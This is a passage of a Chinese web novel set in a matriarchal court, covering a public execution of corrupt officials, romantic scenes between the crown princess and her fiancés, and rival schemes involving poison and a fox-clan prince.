比起君凌,沈长卿更恨君羲。
君羲对他的万千宠爱恍若昨日,如今却对他这般冷漠。
他本以为自己会毫不在意,但事实根本不是他想象的那个样子。
沈长清把这一切归咎于占有欲,君羲给他的宠爱,就算他不屑要,也不能给旁人!
一行清泪,顺着沈长卿脸颊缓缓流下。
若不是他形容实在有些凄惨,这一幕将极具破碎感、惹人怜爱。
可惜了,沈长卿这个时候顶着一张猪头脸,哭得完全没有任何美感,根本激不起围观群众任何一丝怜惜。
更何况,欣赏美人归欣赏美人,蛇蝎美人却是欣赏不得。
沈长清的母亲沈思文既然出现在了行刑台上,便说明沈思文也勾结倭寇、贩卖同胞……
沈思文罪不可赦,替她求情的沈长卿更是让百姓们厌恶。
他们以前真是瞎了狗眼,什么漾州第一公子,明明就是趴在他们身上吸血,还要故作清高的蚂蝗。
“太女殿下,不要听他的鬼话!”
“沈思文就是和笑面虎,伪君子。”
有时候伪君子比纯粹的恶人更让人讨厌,恶人的恶好歹恶在明面上。
但伪君子不一样,她恶在暗地里,表面上却还要装作一副人畜无害、温文尔雅的样子。
围观的百姓愤然而起,生怕君羲听了沈长卿的蛊惑,真的从轻发落沈思文。
君羲没有说话,她不知道是谁给了沈长卿前来行刑台前求情的勇气,她和沈长卿之间,只有仇恨。
他不知道,她是真的想杀了他吗?这种时候,不乖乖夹着尾巴做人,还敢跑到她面前来晃悠?
君羲都有些被沈长卿蠢笑了。
“沈长卿,你觉得你在孤的面前有任何面子吗?”
沈长卿脸顿时就白了,女人的话语中讥讽异味太重,冷冰冰的,反差感太大了,让他心里如同被蚂蚁啃咬一般的犯疼。
或许是嫁给君凌之后,受到的屈辱超过了他两世为人承受的极限,脑海中上一世的记忆渐渐完善。
沈长清泪眼朦胧地望向君羲,他咬着下唇,心里委屈极了。
他不明白君羲为什么这么讨厌他,就算君羲恨自己同明月一起谋害她的性命,上一世,他和明月也已经为自己的所作所为付出了代价,两命偿一命还不够吗?
君羲,果然是个贪婪的疯子,跟明月不能比。
沈长卿脸色变化不定,一会儿喜一会儿怒,一会儿恨,一会儿悲,一会儿哈哈大笑,一会儿呜呜痛哭……
他执意问君羲。
“殿下,你的真心本就瞬息万变,我为自己打算有什么错?”
“是,我承认,我的确和明月一起犯下了大错,但是你死后,我和明月也付出了惨痛的代价,难道这还不够吗?”
“你究竟要无理取闹到什么地步?难不成真要让我和明月死在你的面前,你才会心满意足?”
沈长清字字句句全是控诉,尤其是想到上一世君羲死后,他和明月执掌天下大权的美梦还未实现,便被文武百官和天下百姓施以极刑,凄惨死去,他心里面就越发觉得君羲是在无理取闹。
君羲:……
就算她真的有错,也不要派沈长卿这种脑子有大病的智障在她面前逼逼叨叨啊。
挺无语的。
“呵,哪里来的疯子乞丐,孤发下去的俸禄便是养了一群废物吗?”
言外之意就是连个手无寸铁的男子都拦不住,让他闯进了刑场,君羲养她们有什么用?
凤羽军汗流浃背了,她们也不知道这个男子是怎么混进来的。
今日前来观望的百姓太多,凤羽军只有少部分驻扎在浩然城,其余都在海岸线上蓄势待发。
一时间,还真没有那么多精力排查进入行刑场的每一个民众。
“太女殿下,是属下疏忽了,属下这就把这疯男子拉下去,绝不让他污了殿下的耳朵。”
看到这里,观望的所有人,也都清楚了君羲的态度。
刽子手不再犹豫,染上了烈酒的大刀落下,尸首分离,鲜红的血流了满地。
沈长卿被堵住嘴,眼睁睁看着母亲在自己面前人头落地,一双眼难以置信地瞪得大大的,双腿不住地蹬动,想要摆脱束缚。
他不相信!
他的母亲就这么死了,他明明都重生了,有着上一世的记忆加持,掌控的先机那么多,却无法救下亲身母亲。
眼泪滚滚而出,沾湿了他那张本就满是血污,满脸青紫的脸庞,更显狼狈。
君羲冷眼看着,心中没有半分波动。
果然,上一世她就是受到了情蛊影响,这才对沈长卿这个故作清高的蠢货百依百顺。
她只是挥了挥手。
“下一批。”
有了前车之鉴,凤羽军将刑场周围把控得更加严实,便是为了防止像沈长卿那样的男疯子跑到君羲眼前碍眼。
总共三批官员,没了沈长卿搅局,每一场处决都进行得十分顺利。
明明是鲜红一片,腥气冲天的刑场,此时此刻,坐在高台上,无情下达斩杀命令的君羲。
在围观百姓们的心中,却不是索命的阎王,而是救苦救难的神祇。
人们都说神祇往往是悲悯众生的,但他们忘了……
神祇之所以有资格悲悯众生,是因为他实力强劲,能执掌生杀大权。
君羲为民除害,她们自然心悦诚服。
行刑完毕,周围围观的百姓乌压压地跪了一大片,
“太女殿下千岁、千岁、千千岁!”
君羲站起身来,俯视臣服的百姓们。
这种山呼海啸般的臣服,正是他心中苦苦追寻的帝王之道。
“贪官污吏,欺压百姓,死不足惜。”
“如今的漾州、绥州百废待兴,孤很期待和大家一起修缮两州。”
不得不说,这样的君羲十分有领导风范,短短几句话便将围观的百姓原本有些低落的心情成功转移。
“谨遵太女殿下懿旨。”
……
至此,大凰王朝的内忧终于解决了一部分。
漾州和绥州前来观刑的百姓们,也会永远记得这一天。血流成河满目疮痍的两州,终于迎来了他们的帝王。
“你们都这么看着孤干嘛?孤脸上花了吗?”
君羲回城主府时,特意选了一辆舒适的马车,此时,她一个人坐三个未婚夫郎的对面,挨个敲醒他们迷糊的脑壳。
君羲今天在刑场上,被沈长卿那一番没有过脑子的话恶心到了,急需夫郎美色治愈才能好。
谁知,她在看他们的同时,他们也在看着她走神。
由于血脉相承的原因,纳兰轻尘绝对算得上三个未婚夫中最花痴的那一个。
顶着额头上的红印,直白夸道:
“殿下好帅。”
刚刚好是他会很喜欢的类型耶~
他行侠仗义时,只能一个一个地救,但君羲不一样,君羲的一个决定,往往便可能会影响成千上万人的性命。
纳兰轻尘不只是颜控,他还慕强,比他弱的女子,根本入不了他的法眼。
他本以为这辈子会孤独终老了,没想到遇到了君羲,让他心神为之荡漾。
纳兰轻尘这个二傻子都会说好听的情话了,东方炽和东方凌瞬间感觉到了危机。
“姐姐,你刚刚认真的样子真的很帅!”
谁不喜欢被别人夸呢?还是被自己的绝色未婚夫夸。
君羲摸了摸鼻子,点了点东方炽的额头。
“行了,知道了。”
“姐姐,你反应这么平淡的吗?”
君羲疑惑。
“那要如何?”
东方炽硬是挤到君羲身侧,凑在她的耳畔,熟悉的呼吸喷洒在女人的后颈。
“我教你呀,姐姐。”
第99章 君明月气急败坏,毒发吐血
东方凌大手放在君羲后颈,微微用力朝他的方向压。
纳兰轻尘脑海里的警钟狂鸣。
“东方凌!不可以!”
东方凌才不管纳兰轻尘呢,他用实际动作告诉纳兰轻尘到底可不可以。
他深深注视女人的眼眸,距离近得她眼中没有旁人,只有他一人。
“一个吻。”
他轻吻君羲唇瓣,顾及着还有旁人在场,按在女人后颈的手掌克制地收紧,却又极力克制着力道。
吻罢,他笑得一脸得意。
“姐姐,没弄疼你吧?”
君羲还没来得及说些什么,就被不知何时坐过来的纳兰轻尘拦腰一抱,整个人就换了个位置。
改为纳兰轻尘在中间,左边是君羲,右边是东方凌。
“殿下,你的唇上有脏东西,我给你擦擦。”
纳兰轻尘掏出一方白色锦帕,上面还有淡淡的松木香,尾调似乎是桃花香?
很适合纳兰轻尘。
既有剑客的锋锐,也有少年的朝气。
君羲有些着迷于这个味道,纳兰轻尘捏起手帕一角,浅笑着,动作也轻柔,但是意图却坚定不移。
锦帕细细擦过女人唇瓣,直到上面不再有碍眼的水光。
纳兰轻尘长腿一伸,成功阻止东方凌学他转移位置。
双手环胸往身后一靠,笑如春风。
“不行。”
马车高度有限,三个大高个坐着都显得有些委屈,更别提站着了,只能弯着腰。
见东方凌被为难,东方炽也坐不住了,纳兰轻尘本就是他们的死对头,说话不用客气。
“纳兰轻尘,你这就过分了,阿凌不过是想下马车而已,至于像防狼一样吗?”
纳兰轻尘点头。
“至于啊。”
他嗤笑一声。
“你们兄弟俩,不就是狼吗?”
东方炽被挑起了火气,同是未过门的夫郎,谁比谁在殿下心里的地位高?
在一个马车上,凭什么纳兰轻尘就能挨着君羲,他们二人就只能干看着?
“纳兰轻尘,有本事我们打一场!”
纳兰轻尘不带怕的,甚至挑衅般揽住君羲的纤腰。
“手下败将,也敢在本少庄主面前嚣张?”
东方炽和东方凌昨晚本是不想欺负纳兰轻尘只有一个人,才提出比剑,谁知现在倒成了被纳兰轻尘用来攻击他的由头。
早知如此,不如以多欺少。
“若不是比剑,输的人还不一定是谁呢。”
纳兰轻尘摇头,啧啧两声。
“输就是输,怎么,少教主这是输不起?”
“你说谁输不起啦?”
“谁大声就是在说谁!”
“……”
君羲看着眼前大型小朋友吵架现场,一脸懵。
到底是哪一句话开始的?
这么突然就吵起来了?
“纳兰,阿炽,你们别吵了。”
君羲弱弱扶头,“孤头有点疼,需要安静。”
东方炽和纳兰轻尘这才各归各位,安静了。
一人坐一边,用眼神无声地厮杀。
君羲也是无法了,夫郎多了就是这样的,平日里没有聚在一起还不明显,但凡他们聚在一块,发生口角,谁也不服谁,那才真是头疼。
男子的嫉妒心,也是很强的。
这个时候,东方炽和纳兰轻尘忙着对抗,东方凌坐收渔翁之利……
他默不作声,只是悄咪咪拉过君羲的手,一下一下地按摩,然后听到君羲说头疼,又贴心给女人按摩头部。
“姐姐,舒服吗?”
“唔……左边一点。”
“姐姐,这个力道可以吗?”
“嗯嗯,很舒服。”
被东方凌安抚好的君羲就像一只慵懒的猫儿,整个人软乎乎地靠在东方凌身上。
“阿凌,你真好。”
东方炽和纳兰轻尘这才发现,在他们争吵时,有个小绿茶正在偷家!
纳兰轻尘在心中暗道:好个东方凌,看上去不声不响的,一天到晚也说不了几句话,心思居然如此深沉!
他们二人本来还想说些什么,但君羲眼底的疲倦让他们都选择了暂时相安无事。
东方炽和纳兰轻尘相对而坐,耳边是东方凌和君羲频率越来越低的交谈声,渐渐地,东方凌的询问得不到女人的回应了。
在坐的三位都是武林高手,能听到君羲逐渐放缓绵长的呼吸声。
三人不约而同看向眼眸合上的君羲,睡着的君羲看上去少了几分凌厉,多了几分乖巧。
马车晃动,越发助眠。
等君羲再次醒过来时,已经是几个时辰过后的事了。
另一边,溟汐回到鲛人族。
鲛人族女皇溟霜正在收拾残局,七个族老把控鲛人族时间已久,族中还有不少鲛人是她们的亲信,藏在暗中,图谋报仇。
溟霜一个不慎,被伤到了右臂。
“君上,您的身体要紧啊!七老余孽就交给属下们捉拿吧。”
溟霜脸色惨白,却遮不住她眼底异常兴奋的神采。
她懦弱了这么多年,终于等到了今日,亲手给爱人报了仇。
“阿木,你看到了吗?本皇给你报仇了。”
溟霜仰头望天,眼角闪烁着泪花。
“可惜了我们的孩子,我们愧对他太多。”
溟汐就是这个时候来的,他自然也注意到了溟霜不自然挂在脖子上的右臂,看上去伤得挺严重。
听到她假惺惺地怀念父王,溟汐冷哼。
“猫哭耗子假慈悲,父王死了这么多年,你现在才给他报仇,也好意思称呼父王为你的爱人?”
“还有,我过得很好,不需要你的愧疚。”
溟霜见到溟汐回来,先是眼神一亮,但儿子紧接下来的话,却是让她眸光黯淡。
“汐……”
“儿子见过女皇。”
从父王死后,他对自己的亲生母亲就没有一丝好感。
在溟汐看来,若是当初溟霜能够强势一些,疼他、宠他、爱他的父亲根本不会抑郁而亡。
父亲油尽灯枯,即将走到生命终点时,还拉着他的手嘱咐:
“阿汐,你的母亲也有苦衷,不要因为我而怨恨你的母亲。”
“父亲只希望我的阿汐能够快快乐乐地生活在这个世界上……”
小小的他那时还不懂什么叫生离死别,只能一个劲儿地哭。
他的父亲是那么美好的一个人,却因为遇见母亲,英年早逝。
他能够遵循父亲的遗愿,不去恨溟霜已经是极其难得了,要让他对溟霜有什么好脸色,根本不可能。
父亲最后一句话,还在替他着想。
“阿汐,对不起……”
越是回想曾经的那些遗憾,溟汐就越无法同溟霜和谐相处。
他就像没看到溟霜惨白的脸色、受伤的手臂一样,淡漠开口,问溟霜要人。
“女皇,臣需要一百个对倭寇聚集地一带熟悉的精兵,还请女皇批准。”
溟霜心中苦涩,她同爱人唯一的孩子,终归是同她疏远了。
她不会拒绝溟汐的要求。
哪怕他想要以男子之身登上鲛人族皇位,她也会替他筹谋。
更何况是要人这等小事。
“准。”
溟汐要到人手,转身就走,没有留下只言片语。
妻主还在等他,他也想妻主了。
必须尽快完成地形勘测,将大凰被倭寇掳走的百姓全都解救出来,此行才算是功成圆满。
溟汐行动力很强,召集一百个精兵后,便换上鲛人族特有战甲,带领她们前去查探倭寇所在地地形。
“羲羲,等我。”
但凡是君羲所求,他都会全力相助。
……
玉京城,君明月得知君羲还活得好好的消息之后气急败坏,将房中能砸的东西全都砸了个遍。
“废物!”
“一群废物!”
“君凌这个残废,难怪之前斗不过君羲,脑子里装的全都是水吧?”
君明月气得要命,她不懂君凌到底是什么品种的蠢货。
大势已去的情况下,居然还不顾手底下人劝阻,跑到君熙面前刷存在感!
这不是摆明提醒君羲,赶紧清算她吗?
“蠢笨如猪!”
在她面前,跪了一排身着暗色衣服的暗卫,她们全都低着头,试图降低自己的存在感,不去直面君明月的怒火。
君明月是越想越气,她自以为找到了一个能够联手和她制衡君羲的盟友,却不想这个盟友智商有限,现在已经身首异处了。
“跪跪跪,遇到事情你们就知道跪!”
君明月来回踱步,她心里清楚地知道,等君羲荡平倭寇、大胜归朝,第一时间便是清算她这个妹妹。
君明月脑瓜被气得嗡嗡疼,胸腔也疼得慌,这让她情绪越发暴躁。
“本王养你们便是让你们‘’遇事不决,下跪解决’的吗?还不快给本王想想办法,怎样才能杀了君羲?”
“殿下……”
“噗——”
君明月气急攻心,又忧思过度,居然吐了一口血。
跪着的人瞬间慌了,也忘了刚刚想说什么了,全都用担心的眼神看着君明月。
“殿下,你怎么了?怎么会突然咳血?”
“殿下,属下这就去找太医!你先放松心情,不要病上加病了。”
君明月诧异,她一向惜命,平日里都是用极好的补品药膳温养着身体,给她把平安脉的太医都说她这具身体很健康。
怎会突然吐血?
一时间,她脑海中闪过许多阴谋论……
会不会是有人给她下毒?
君明月倒吸一口冷气,不知不觉间,她的衣食住行都被严格管控,谁能有这个本事,悄无声息给她下毒?
她只觉得脑袋一片乱麻,若不是今日气急败坏之下吐了一口血,还不知会被隐瞒到什么时候!
“来人,给本殿请太医院院首!”
第100章 未婚妻,未免长得太着急
事分轻重缓急。
比起要在不久之后才落下来的刀子,君明月更怕她的身体现在就出了什么问题?
跪着请罪的手下们如蒙大赦,麻溜站起身来,生怕跑得再慢一些,又要被盛怒的君明月迁怒。
好在,君明月此刻最担心的就是自己的身体情况,对于手底下一窝蜂全跑去请太医的事情,没有提出任何异议。
此时,蹲在房顶上的羞花笑得一脸阴险。
她在心里疯狂给君心摇旗呐喊!
真不愧是太女殿下,运筹帷幄,决胜千里之外。
君明月以为是自己在算计太女殿下,殊不知,她的一举一动都在太女殿下监视下。
太女殿下更是未雨绸缪,早早便给君明月准备了西域奇毒“蚕食”,就算现在太医能察觉,也早就毒入骨髓,为时已晚。
更别提,太医根本不会察觉……
或者说,太医院现在全都是太女殿下的人,就算察觉了,也不会说实话。
君明月败局已定!
羞花决定在观望一会儿,看够了君明月的热闹,她便写密信让阿元给太女殿下送过去。
想必,太女殿下若是听到君明月这个狼心狗肺的白眼狼中毒已深的消息,心情会好上几分。
羞花在心中暗衬,也算君明月临死前有点价值了。
岚州,暴雪肆虐。
君羲考虑到上一世岚州雪灾的严峻,之前在玉京城中抄没的财产,九成全都给了顾青颖,令她用于岚州赈灾。
顾青颖是除了君羲外,对岚州雪灾最清楚的人。
若不是大凰现在她能用的人太少,其实,顾青颖才是最合适的钦差大臣。
但,君羲需要一个人坐镇玉京城,帮她稳定后方。
所以,她斟酌之下,才选择派了王紫汐去岚州赈灾。
相比漾州、绥州的复杂情况,遭受雪灾最严重的岚州以及被雪灾波及到的钦州、蔼州,赈灾进行得非常顺利。
王紫汐此刻站在临时搭建的营帐中,正眯眼听下属的汇报。
“大人,赈灾粮被劫了……”
这已经不是第一次赈灾粮被劫,奇怪的是,每次赈灾粮被劫,押送粮草的人都没能看清劫匪的模样。
甚至连衣着打扮有什么特征都回忆不起来,只能记起,被劫了。
王紫汐感觉有些棘手。
“这次……依旧没看清劫匪相貌特征?”
那属下支支吾吾,她自己也觉得非常离谱,但事实就是这样,也只能如实汇报。
“回大人的话,没、没看清。”
王紫汐闭了闭眼,难不成,真遇到什么非自然事件了不成?
她在脑海中仔细回忆,这几次赈灾粮被劫的规律。
劫匪貌似并不贪心,赈灾粮多的时候劫匪不会出现,只有在赈灾量数量较少时,劫匪才会出手。
仿佛劫匪的本意并不是劫走赈灾粮……
但是,劫匪既不露面,也没有任何的相貌特征。
王紫汐这半月苦思冥想,想破了脑袋,也没想明白劫匪到底有什么不可告人的目的。
“哎……”
真是头疼,王紫汐头一次担任钦差大臣便出现这样的岔子,偏偏还想不到很好的办法解决。
太女殿下可不会看她遭遇了什么,君羲只会关注事情的结果。
若她此次办事不力,还不知会迎来怎么样的惩罚……
王紫汐的担忧,涂山烈并不知晓。
涂山烈,雪山狐族。
岚州是大凰北面最北的地境,与岚州接壤的便是十万皑皑雪山。
举目望去,是无边无际的白。
一年四季,终年飘雪,根本不适合人类居住。
十万雪山虽然广袤,但并不适合人族居住,再加上深入雪山作战,很有可能还没找到作战目标,就在雪山中迷失,得不偿失。
所以,大凰王朝的历代帝王都没有打过将十万雪山纳入大凰版图的想法。
十万雪山中,孕育着能适应冰雪酷寒环境的兽人族群,其中,雪山狐族便是势力最为庞大的一族。
而且,值得一提的是,雪山狐族并不是女尊男卑,而是男尊女卑。
是这个世界上唯一的男尊族群。
涂山烈就是这一代皇子中声望最高,实力最强,最有机会登顶狐族王位的储君人选之一。
“劫匪”就是他派出吸引大凰官员注意力的饵。
据小道消息,他那被族中兄弟算计,强塞给他的未婚妻,就在赈灾队伍里。
涂山烈的容貌霸气内敛,脸部线条硬朗,生了一双暗红色的眸,看上去便十分不好惹。
他身高体重足有两米,身披墨色大氅,墨色的领毛将男人冷峻霸气的容颜衬托得贵气十足。
男人光是站在那里,便像一座威严不可撼动的山峦。
“如何,可有打探到本王那素未谋面的未婚妻的消息?”
涂山烈本打算在出嫁日玩儿一出李代桃僵,让涂山靖自食恶果,但计划赶不上变化。
大凰境内岚州遭受了严重的雪灾,十万雪山只会更加严重。
雪崩时有,已经到了不得不重视的地步。
十万雪山中,种植耐寒作物本就困难,以往还能自给自足,如今却是到了余粮耗尽,穷途末路。
涂山烈有野心,也有魄力。
他的想法立马就变了,瘦死的骆驼比马大,大凰王朝身为曾经的天朝上国,就算如今快走到王朝末路,适宜的种植环境以及多种多样的作物,都远非苦寒的十万大山能比。
只要能和大凰王朝达成合作,便能解困。
所以,他才苦心设局,想借机和大凰储君接触。
可惜……
涂山烈并不知道,君羲的确是御驾亲征,离京赈灾,可惜她去的是南方,而不是北方。
为了保障大凰储君的安危,不知散布了多少假消息,迷障重重,境内异性王都蒙在鼓里,更别提境外的十万雪山了。
大凰储君的消息,并不是他们想打探就能打探得到的。
“王爷,经打探,岚州临时搭建的营地中,处于最中心的营帐最是豪华,所有的人都对那营帐中的人言听计从。”
那属下浑然不知,险些将涂山烈带进沟里去了。
他思索一番,推测道:
“想必里面便是大凰的太女殿下。”
涂山烈做了个决定,决定亲自出马,去会一会他的未婚妻。
“是与不是,本王亲自去一趟就知道了。”
与此同时,涂山靖安插在涂山烈身边的暗线将涂山烈即将出十万雪山,进入大凰境内的消息,传了出去。
烈王离境,时机成熟。
涂山靖展开纸条,就看到了上面的讯息。
嘴角上扬,他知道,机会终于到了。
只要能设计涂山烈成功被君羲强取豪夺,狐王之位,非他莫属!
狐族不会接受一个屈居于女人身下的皇子做狐族的王。
这是一个早就布好的陷阱,早在三年前,涂山靖就开始布局了。
“涂山烈,大凰了不是狐族,女尊男卑,希望你到时候不要太难过了哦。”
“哈哈哈,本皇子登上王位后,定然会将你卖身救族的事迹大肆宣扬,你就安心的嫁人吧!”
涂山靖心里的算盘打得噼啪作响,就等涂山烈踩中陷阱了。
“阿烈,你可不要怪皇兄,要怪就怪你自己太过看重族中那群低贱的平民……”
涂山靖嘴上说着假仁假义的话,眼底寒光闪过,恨不得涂山烈立马中计。
他朝暗中的护卫招了招手,用内力传音吩咐下去。
“你们去,这样……”
另一边,王紫汐还不知道,涂山烈和涂山靖两兄弟已经在算计“她”了。
她也在设计,用少数粮草引劫匪出现。
这次的赈灾粮,里面全是干草,一颗能吃的粮食都没有。
王紫汐眯起眼,这次她亲自出马,混在暗中埋伏的队伍中。
她倒要看看,究竟是何方神圣,居然如此胆大包天,敢劫大凰王朝的赈灾粮!
“都准备妥当了?”
“回大人的话,全部都准备妥当了。”
王紫汐点点头,示意她已经知道了。
“待会儿劫匪一出现,听我号令,在适合的时机冲上去,将劫匪一网打尽。”
三方人马,汇集一处,各自有各自的算计。
茫茫雪地中,一行赈灾粮队伍在雪地上缓缓行进,马蹄在洁白的雪上留下一长串马蹄印。
王紫汐等人为了能抓住劫匪也是煞费苦心,她们已经在这荒郊雪地里趴了整整一天一夜,就是为了不让劫匪起疑心。
近了……
运送赈灾粮的队伍,不知为何突然待在原地一动不动。
表情呆滞,眼神变幻不定。
王紫汐屏住呼吸,她想起了曾经读过的一本志怪杂谈——
十万雪山,山中有狐族,善迷阵,蛊惑人心。
难怪,之前回去汇报情况的士兵都没能记住劫匪的模样,原来是被狐族特有的能力迷惑了心智,这才导致记忆不全。
涂山烈站在雪山最高处,身后是五千狐族亲兵。
“活捉。”
一声令下,王紫汐才发现,这次劫匪的目标不是赈灾粮,而是……
人!
她们自以为天衣无缝的伪装,其实早就被涂山烈看破。
王紫汐都没反应过来,只记得神思恍惚一瞬,埋伏的队伍以及运输的队伍就被涂山烈控制了。
“你,你是谁?”
涂山烈眯起眼睛,君羲明明就是双十年华的年轻女子……
他这未婚妻,未免长得太着急了些。
“你就是大凰太女殿下?”
第101章 不弃兄,我保证
是君羲!
一定是君羲给她下的毒!
头发花白的太医院院首笑眯眯说着君明月没中毒,可她明明感受到力不从心,吐了血后内里感觉一阵空虚。
君明月心里突然一阵恶寒,她开始意识到,太医院都是君羲的人,她们对自己看似恭敬,实则全都带上了虚伪的面具。
偌大的皇宫,是不是到处是君羲的眼线?
那她的所作所为,是不是也全暴露在君羲眼皮子底下?
君明月久违地想起来,若不是君羲对她万般纵容,她一个已经及笄的皇女是决计不可能留在玉京城的。
君羲的确是这一代最优秀的皇女,君明小君心三岁,从小便听着文武百官如何夸奖她这位文韬武略样样拔尖的长姐。
君明月一直生活在君羲的光环之下,但凡是君羲在的地方,旁人就会自然而然资质平庸的她。
所以,君明月对君羲的诋毁,大都是源于对君羲的嫉恨。
她不甘心一直当君羲的陪衬品,所以,她学会讨好卖乖,学会伪装内心,就是为了得到君羲宠爱和信任。
本就是凭借着君羲毫无条件的宠爱和信任才能够走到高位,如今君羲想将给予君明月的宠爱和信任都收回去,她就会被打回原形。
早在君羲被封储君后,皇宫就成了一铁桶,到处都是君羲的眼线。
君明月心里一阵后怕,君羲肯定都知道了!
她全都知道了……
所以,等君羲凯旋,便是自己的死期。
不行,她绝不能坐以待毙!
君明月心中翻涌过许多情绪,面上却是温和一笑。
“多谢院首,这次多有劳烦,是本公主小题大做了。”
太医院院首盯着君明月的眼睛,似乎想从里面看出些什么。
但很遗憾,君明月将情绪收敛得很好。
“无妨。”
“来人,送院首回去,务必恭恭敬敬的。”
见实在是无法从君明月眼中看出什么,太医院院首笑着回应。
“明月公主不必客气,医者父母心,这跟这都是老臣该做的。”
君明月心中冷笑,什么医者父母心,全都是君羲的走狗!
两人面上都笑眯眯的,看上去交谈甚欢。
君明月耐着性子同太医院院首虚以委蛇,这才终于将人送走。
关上房门,屏退左右。
这才一屁股坐在床上,冷汗湿透了后背。
“长姐,这就是你说的会一直信任我吗?”
君明月眉目阴鸷。
“既然长姐不仁,那便不能怪皇妹不义了。”
反正她也中了奇毒,估计也活不了多久,不如把君羲在意的人拉下其余一两个垫背,也能让她追悔莫及。
“呵呵呵……”
她捂着嘴低低地笑了笑,声音压抑而疯狂,就像一个精神状态堪忧的疯子。
“长姐,好长姐。”
“你放心,明月这就送你心爱的男人们下地狱!”
自从君羲铁血手段镇杀贪官污吏,接管漾州、绥州过后,君明月就再也打探不到君羲的任何信息。
最了解你的,往往是你的敌人。
君明月心中一直将君羲视作自己争权夺利路上最厉害的劲敌,她自诩对君羲还算了解。
但凡是君羲能够封锁信息,便说明她离成功已经是近在咫尺了。
她在心中暗自腹诽,君羲还真是命大。
这次御驾亲征,先是遇上暴雪天气,再是幽雾谷三方势力联手布局伏杀,然后又是遭遇倭寇,这都要不了君羲的命……
君羲果真就是个祸害!
君明月绞尽脑汁思索,君羲如今远在天边,她鞭长莫及。
君羲的确是去了南方,但,东宫里可还有她在意的三位夫郎。
其中一位是当朝丞相顾青颖的嫡长子,还有两个,一个是神医谷少谷主慕夜声,另一个是户部尚书之子王权不弃。
顾青颖如今受命监国,大权在握,她不能轻易得罪。
但慕夜声和王权不弃,她可就没那么多顾忌了!
要如何才能一箭双雕,既能杀了慕夜声,又能料理了王权不弃呢?
慕夜声被月江离打伤,内伤严重还在恢复中,自身也不善武功,相比王权不弃来说,好对付得多。
慕夜声此人,看似像谪仙一样清冷仙气,旁人见到他这自带距离感的长相,自然而然便会认为他是一个凉薄无情之人。
但事实上,完全相反,慕夜声由于从小学医之故,常怀仁慈悲悯之心,重情重义。
之前他宁愿望着自己身受重伤的风险,也要替王死的手下讨回公道,可见一斑。
君明月脑中思索片刻,很快,一条毒计在脑海中成型。
她唇角无声上翘,勾起一抹阴险恶毒的弧度。
“呵,不是喜欢救人吗?这次……就让你救个够。”
同慕夜声一同长大的寒松,被月江离俘虏后,受尽折辱,本想自我了断,好巧不巧,她刚好救了他。
不过,君明月没有透露出自己的真实身份,而是一辆马车将他送去了岚州。
并给寒松传递的假消息,说慕夜声为了救济雪灾,如今也在岚州,他顾及着自己的主子,伤口都还没好全便掉头去了岚州。
想不到当初随手救下的一颗棋子,如今却成了她捅向君羲心口最锋利的一把刀。
“世事无常,姐姐,我们走着瞧。”
君明月好心情哼着小曲,突然间喉咙有血气上涌,喉咙管痒痒的,想咳嗽。
她终究没憋住,咳嗽声惊天动地,咳了好多血出来。
猩红的血丝染白了她的牙,配上她阴鸷的笑意,看上去就像一只生食人肉的恶鬼。
“暗一,你去……”
君羲出征那天,他拖着病体送了君羲一程后,回东宫后,半夜,他便发了高热。
幸好有王权不弃在一旁照顾,慕夜声在床上躺了半月,身体总算好了七八成。
“不弃兄,我真的已经好得差不多了。”
慕夜声真的怕了王权不弃这个死脑筋,君羲临走前,嘱咐王权不弃要照顾好慕夜声,他还真就十分认真在照顾病人。
每日三碗黑乎乎的苦药端上来,王权不弃就在一旁监视,就算亲眼看到他一口气将药喝了下去,仍旧不放心,还得在一旁守着,等药效发挥得差不多,才会隐于暗处。
王权不弃此刻也在认真完成君羲给他的临行嘱托。
他冷漠脸,摇头。
“不行,你的风寒还没好全。”
慕夜声在床上整整躺了半个月,浑身骨头都快瘫软了,再躺下去,他感觉自己就要发霉了。
他无奈抽了抽嘴角,试图同王权不弃讲道理。
“不弃兄,我是神医谷少谷主,当今天下医术最好的人之一。”
“你可别听什么医者不自医的瞎话,我自己的身体情况自己最了解,真的已经好得差不多了。”
他眼巴巴地望着不远处的大门,眼里全是渴望。
你就让我出去放放风?求你了。”
王权不弃本就不善言辞,君羲的所有夫郎中,他本就和慕夜声关系最好。
他端详一眼半坐在床头的慕夜声,男子精神似乎真的很不错,眸中神采奕奕。
他心里有几分动摇,慕夜声说得对,养病之人也不能一直待在封闭沉闷的房间里,适当的放风有利于病情恢复。
而且,慕夜声的确是他见过的医术最好的大夫。
“不弃兄,我保证,没有拿自己的身体开玩笑!”
“我还要去岚州救济灾民,你知道的……”
王权不弃总算被说动,抱着剑微微往旁边侧了侧身子。
“半个时辰。”
慕夜声快高兴疯了,若不是他顶着一张谪仙般清冷仙气的脸,看上去怕就是一个傻乎乎的二愣子。
“一言为定。”
与此同时,院中一个不起眼的洒扫男侍将消息传递了出去。
君明月收到消息,也高兴疯了。
她自认为制定了一条天衣无缝的毒计,可惜计划很圆满,现实很骨感。
君明月发现根本无法将手插进东宫里面去,慕夜声一直待在霁月殿中养病,霁月又是整个东宫防备最森严的地方。
她根本没有机会接触到慕夜声,更别提将寒松还活着的消息不经意透露给慕夜声,引他入局了。
现在真是……
踏遍铁蹄无觅处,得来全不费功夫!
“哈哈哈,就连老天爷都站在我这边!”
“暗一,能够证明寒松身份的贴身物件以及密信准备好了吗?”
“殿下放心,暗影一定不辱使命!”
花开两朵,各表一枝。
慕夜声还不知道,他尚且抱病在身,就已经有人蛰伏在暗处,阴森森的想要算计他了。
“冰雪初融,万物复苏。”
慕夜声此刻正在御花园,他感慨一番春色满园的好风光,深深吸了好几口新鲜的空气。
果然还是外面舒服,灵魂都感觉被大自然净化了。
王权不弃在一旁,手中拿着银狐大氅。
“天冷,你大病初愈,不可任性妄为。”
说着,不容拒绝地将厚重的银狐大氅披在谪仙长相的男子身上。
“谁?”
慕夜声有些不安,刚刚突然从假山后面发出动静。
“不弃兄,你去看看,我没事的。”
王权不弃抿唇,坚定摇头。
“不行,你武功不行,若是有人想调虎离山,你处境就危险了。”
慕夜声笑笑。
“没关系,暗中有保护我的暗卫。”
王权不弃这才想起来,君羲出征之前,的确特意安排了十个凤羽军暗中保护慕夜声。
他没做声,快速飞身朝假山方向而去。
早早便在一旁静待时机的男侍冲了出来,险些把慕夜声撞了一个趔趄。
“慕侧夫恕罪,奴才不是故意的。”
慕夜声刚想说什么,那个撞到他的奴才便飞快往他身上丢了一样东西,然后就快步走了。
王权不弃这时也探查完了假山,假山后并没有什么异常。
刚好回来便见到这一幕,哪里还不明白,自己真是被调虎离山了。
“慕兄,这是信?”
第102章 鱼儿,上钩了
